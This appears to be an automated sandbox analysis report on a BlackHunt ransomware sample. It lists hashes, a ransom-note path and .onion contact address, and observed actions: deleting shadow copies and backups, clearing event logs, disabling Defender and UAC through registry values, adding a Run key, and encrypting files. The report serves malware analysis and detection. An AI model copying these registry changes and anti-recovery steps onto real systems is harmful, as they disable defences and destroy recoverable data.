Analysis
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max time kernel
131s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20231222-en -
resource tags
arch:x64arch:x86image:win10v2004-20231222-enlocale:en-usos:windows10-2004-x64system -
submitted
18-01-2024 23:57
Static task
static1
Behavioral task
behavioral1
Sample
81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe
Resource
win10v2004-20231222-en
General
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Target
81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe
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Size
707KB
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MD5
0edcf5f76f745caca8a6f13c321bcdb0
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SHA1
8e3cc203868fd92f4dc1d8f7dea4e8b39145e179
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SHA256
81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8
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SHA512
bd01c86b645b85a2cea2614796ef3dfbc170eb06eafe934ac1d131c76e58f92a1e365ff507cd9ba77572aff04bd7316c3546cd4191ed428c7850e134e74299a0
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SSDEEP
6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1n8mvnh:6uaTmkZJ+naie5OTamgEoKxLWuYh
Malware Config
Extracted
C:\ProgramData\#BlackHunt_ReadMe.hta
http-equiv="x-ua-compatible"
http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion
Signatures
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Deletes NTFS Change Journal 2 TTPs 2 IoCs
The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.
pid Process 9208 fsutil.exe 11616 fsutil.exe -
description ioc Process Key created \REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" reg.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe -
Clears Windows event logs 1 TTPs 5 IoCs
pid Process 10560 wevtutil.exe 11612 wevtutil.exe 12404 wevtutil.exe 10204 wevtutil.exe 12652 wevtutil.exe -
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
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Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs
pid Process 9668 bcdedit.exe 9268 bcdedit.exe 3592 bcdedit.exe 12048 bcdedit.exe -
Renames multiple (3358) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
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pid Process 8244 wbadmin.exe 24848 wbadmin.exe -
Disables Task Manager via registry modification
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Disables use of System Restore points 1 TTPs
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Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3803511929-1339359695-2191195476-1000\Control Panel\International\Geo\Nation 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe Key value queried \REGISTRY\USER\S-1-5-21-3803511929-1339359695-2191195476-1000\Control Panel\International\Geo\Nation cmd.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta" reg.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe -
Enumerates connected drives 3 TTPs 27 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\F: fsutil.exe File opened (read-only) \??\R: 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe File opened (read-only) \??\H: 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe File opened (read-only) \??\L: 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe File opened (read-only) \??\V: 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe File opened (read-only) \??\N: 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe File opened (read-only) \??\P: 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe File opened (read-only) \??\K: 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe File opened (read-only) \??\A: 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe File opened (read-only) \??\J: 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe File opened (read-only) \??\Z: 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe File opened (read-only) \??\M: 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe File opened (read-only) \??\M: fsutil.exe File opened (read-only) \??\Y: 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe File opened (read-only) \??\U: 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe File opened (read-only) \??\G: 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe File opened (read-only) \??\X: 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe File opened (read-only) \??\B: 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe File opened (read-only) \??\Q: 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe File opened (read-only) \??\W: 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe File opened (read-only) \??\S: 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\E: 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe File opened (read-only) \??\T: 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe File opened (read-only) \??\I: 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe File opened (read-only) \??\O: 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 7 ip-api.com -
Sets desktop wallpaper using registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-3803511929-1339359695-2191195476-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\#BlackHunt_BG.jpg" 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe -
Drops file in Program Files directory 64 IoCs
description ioc Process File created C:\Program Files\VideoLAN\VLC\plugins\audio_filter\#BlackHunt_ReadMe.hta 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\sl-si\ui-strings.js 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\fr-fr\#BlackHunt_Private.key 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\ro-ro\#BlackHunt_ReadMe.txt 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\ko-kr\#BlackHunt_ReadMe.txt 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\search-summary\js\nls\tr-tr\#BlackHunt_ReadMe.hta 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\nb-no\#BlackHunt_ReadMe.txt 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\sv-se\#BlackHunt_ReadMe.hta 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe File created C:\Program Files\dotnet\#BlackHunt_ReadMe.txt 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\hi\LC_MESSAGES\vlc.mo 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe File created C:\Program Files\VideoLAN\VLC\locale\lt\#BlackHunt_ReadMe.hta 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\hr-hr\#BlackHunt_ReadMe.txt 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\#BlackHunt_Private.key 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\css\main-selector.css 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\pl-pl\#BlackHunt_Private.key 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe File opened for modification C:\Program Files\Java\jre-1.8\lib\resources.jar 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\css\#BlackHunt_Private.key 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\sl-sl\#BlackHunt_ReadMe.hta 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\images\#BlackHunt_ReadMe.hta 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\viewer\nls\ca-es\#BlackHunt_Private.key 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\progress_spinner_dark.gif 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\js\nls\ui-strings.js 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sign-services-auth\js\nls\tr-tr\ui-strings.js 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\en-il\ui-strings.js 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\hr-hr\#BlackHunt_Private.key 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\walk-through\js\nls\it-it\#BlackHunt_Private.key 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\#BlackHunt_Private.key 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\dot_2x.png 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\it-it\#BlackHunt_ReadMe.txt 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\cs-cz\PlayStore_icon.svg 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\eu-es\#BlackHunt_Private.key 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\ru-ru\ui-strings.js 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe File opened for modification C:\Program Files\Java\jre-1.8\lib\security\java.policy 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\search-summary\js\nls\ar-ae\ui-strings.js 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\images\themes\#BlackHunt_ReadMe.hta 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\s_listview_selected.svg 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\app-center\js\nls\fr-ma\ui-strings.js 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\pages-app\images\themes\dark\#BlackHunt_ReadMe.hta 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\ca-es\#BlackHunt_ReadMe.txt 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\pl_get.svg 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe File opened for modification C:\Program Files\Java\jre-1.8\legal\jdk\xmlresolver.md 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\bn\LC_MESSAGES\vlc.mo 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe File created C:\Program Files\VideoLAN\VLC\plugins\misc\#BlackHunt_Private.key 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\hu-hu\#BlackHunt_ReadMe.txt 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\themes\dark\text_2x.png 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\hr-hr\ui-strings.js 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\playlist\newgrounds.luac 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\search-summary\js\nls\it-it\#BlackHunt_ReadMe.txt 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe File created C:\Program Files\Java\jdk-1.8\jre\legal\jdk\#BlackHunt_ReadMe.txt 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\nb-no\ui-strings.js 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\id_get.svg 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win8-scrollbar\arrow-right.gif 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\sl-si\#BlackHunt_ReadMe.txt 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\nls\nb-no\#BlackHunt_ReadMe.txt 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\de-de\ui-strings.js 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files-select\css\main.css 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\zh-cn\ui-strings.js 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\@1x\[email protected] 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe File created C:\Program Files\VideoLAN\VLC\locale\fi\LC_MESSAGES\#BlackHunt_ReadMe.txt 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe File created C:\Program Files\VideoLAN\VLC\locale\ug\LC_MESSAGES\#BlackHunt_ReadMe.txt 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\tet\LC_MESSAGES\vlc.mo 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\A12_Spinner.gif 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\fi-fi\#BlackHunt_Private.key 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account-select\css\#BlackHunt_ReadMe.txt 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Program crash 1 IoCs
pid pid_target Process procid_target 25240 25180 WerFault.exe 302 -
Checks SCSI registry key(s) 3 TTPs 4 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000 vds.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName vds.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_DADY_DVD-ROM\4&215468A5&0&010000 vds.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\FriendlyName vds.exe -
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 9848 schtasks.exe -
Interacts with shadow copies 2 TTPs 6 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 6580 vssadmin.exe 9360 vssadmin.exe 10060 vssadmin.exe 9476 vssadmin.exe 9368 vssadmin.exe 12032 vssadmin.exe -
Kills process with taskkill 1 IoCs
pid Process 25096 taskkill.exe -
Modifies registry class 9 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\ reg.exe Key created \REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon cmd.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico" cmd.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\ reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico" reg.exe Key created \REGISTRY\MACHINE\Software\Classes\.Hunt2 reg.exe Key created \REGISTRY\MACHINE\Software\Classes\Hunt2 reg.exe Key created \REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon reg.exe Key created \REGISTRY\USER\S-1-5-21-3803511929-1339359695-2191195476-1000_Classes\Local Settings cmd.exe -
Runs ping.exe 1 TTPs 1 IoCs
pid Process 25004 PING.EXE -
Suspicious behavior: EnumeratesProcesses 23 IoCs
pid Process 5108 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe 5108 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe 5108 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe 5108 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe 5108 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe 5108 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe 5108 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe 5108 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe 5108 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe 5108 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe 5108 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe 5108 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe 5108 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe 5108 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe 5108 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe 5108 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe 5108 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe 5108 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe 5108 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe 5108 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe 5108 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe 5108 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe 5108 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 5108 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe -
Suspicious use of AdjustPrivilegeToken 24 IoCs
description pid Process Token: SeDebugPrivilege 5108 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe Token: SeRestorePrivilege 5108 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe Token: SeBackupPrivilege 5108 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe Token: SeTakeOwnershipPrivilege 5108 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe Token: SeAuditPrivilege 5108 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe Token: SeSecurityPrivilege 5108 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe Token: SeIncBasePriorityPrivilege 5108 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe Token: SeBackupPrivilege 12072 vssvc.exe Token: SeRestorePrivilege 12072 vssvc.exe Token: SeAuditPrivilege 12072 vssvc.exe Token: SeBackupPrivilege 8816 wbengine.exe Token: SeRestorePrivilege 8816 wbengine.exe Token: SeSecurityPrivilege 8816 wbengine.exe Token: SeSecurityPrivilege 10560 wevtutil.exe Token: SeBackupPrivilege 10560 wevtutil.exe Token: SeSecurityPrivilege 11612 wevtutil.exe Token: SeBackupPrivilege 11612 wevtutil.exe Token: SeSecurityPrivilege 12404 wevtutil.exe Token: SeBackupPrivilege 12404 wevtutil.exe Token: SeSecurityPrivilege 10204 wevtutil.exe Token: SeBackupPrivilege 10204 wevtutil.exe Token: SeSecurityPrivilege 12652 wevtutil.exe Token: SeBackupPrivilege 12652 wevtutil.exe Token: SeDebugPrivilege 25096 taskkill.exe -
Suspicious use of WriteProcessMemory 64 IoCs
